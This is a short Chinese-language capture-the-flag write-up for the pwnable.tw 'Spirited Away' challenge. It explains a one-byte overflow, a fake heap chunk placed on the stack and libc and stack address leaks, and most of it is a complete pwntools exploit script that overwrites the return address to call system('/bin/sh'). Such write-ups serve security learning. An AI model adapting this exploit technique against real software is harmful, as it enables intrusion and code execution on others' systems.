PWNABLE.TW-Spirited Away-WP

Posted on Mar 20, 2021

比较简单的栈溢出加堆溢出。

此处在 cnt >= 100 时有单字节溢出,会把 nbytes 溢出成 n

然后通过此处

修改 buf,使之指向栈上一段可控空间

比如这一段,我们可以轻易地布置 fake chunk

free 掉就可以实现 alloc to stack,然后就可以修改返回地址 getshell。

关于 leak:

  • libc 基址可以容易的 leak 出来
  • 栈地址也可以通过 reason 来 leak,这个可能需要仔细调试才能看出

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

#sh = process("./spirited_away",env={"LD_PRELOAD":"/home/chuj/pwnable/libc_32.so.6"})
sh = remote("chall.pwnable.tw",10204)
elf = ELF("./spirited_away")
libc = ELF("./libc_32.so.6")

def one_survey(name,age,reason,comment,y_or_n):
    if(y_or_n != 'pass'):
        sh.sendlineafter("<y/n>: ",y_or_n)
    sh.sendafter("name: ",name)
    sh.sendlineafter("age: ",age)
    sh.sendafter("movie? ",reason)
    sh.sendafter("comment: ",comment)

payload_reason = 'a' * 23 + '-'
one_survey('1','1',payload_reason,'1','pass')
sh.recvuntil('a-')
_IO_file_sync = u32(sh.recv(4)) - 7
libc_base = _IO_file_sync - libc.symbols["_IO_file_sync"]
log.success("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
alloc_addr = 0x804A00C

for i in range(1,101):
    log.success("cnt:" + str(i))
    one_survey('1','1','1','1','y')

payload_reason = 'a' * (0x37) + "-"
one_survey('1','1',payload_reason,'1','y')
sh.recvuntil('a-')
stack = u32(sh.recv(4)) - 0x70 + 8
log.success("stack:" + hex(stack))

payload_reason = p32(0) + p32(0x41) + 'a' * 0x38 + p32(0) + p32(0x11)
payload_comment = 'a' * (0xA4 - 0x50) + p32(stack)
one_survey('1','1',payload_reason,payload_comment,'y')
payload_name = 'a' * (0x4C) + p32(system_addr) + 'aaaa' + p32(bin_sh_addr)
one_survey(payload_name,'1','1','1','y')
sh.sendlineafter("<y/n>: ",'n')

sh.interactive()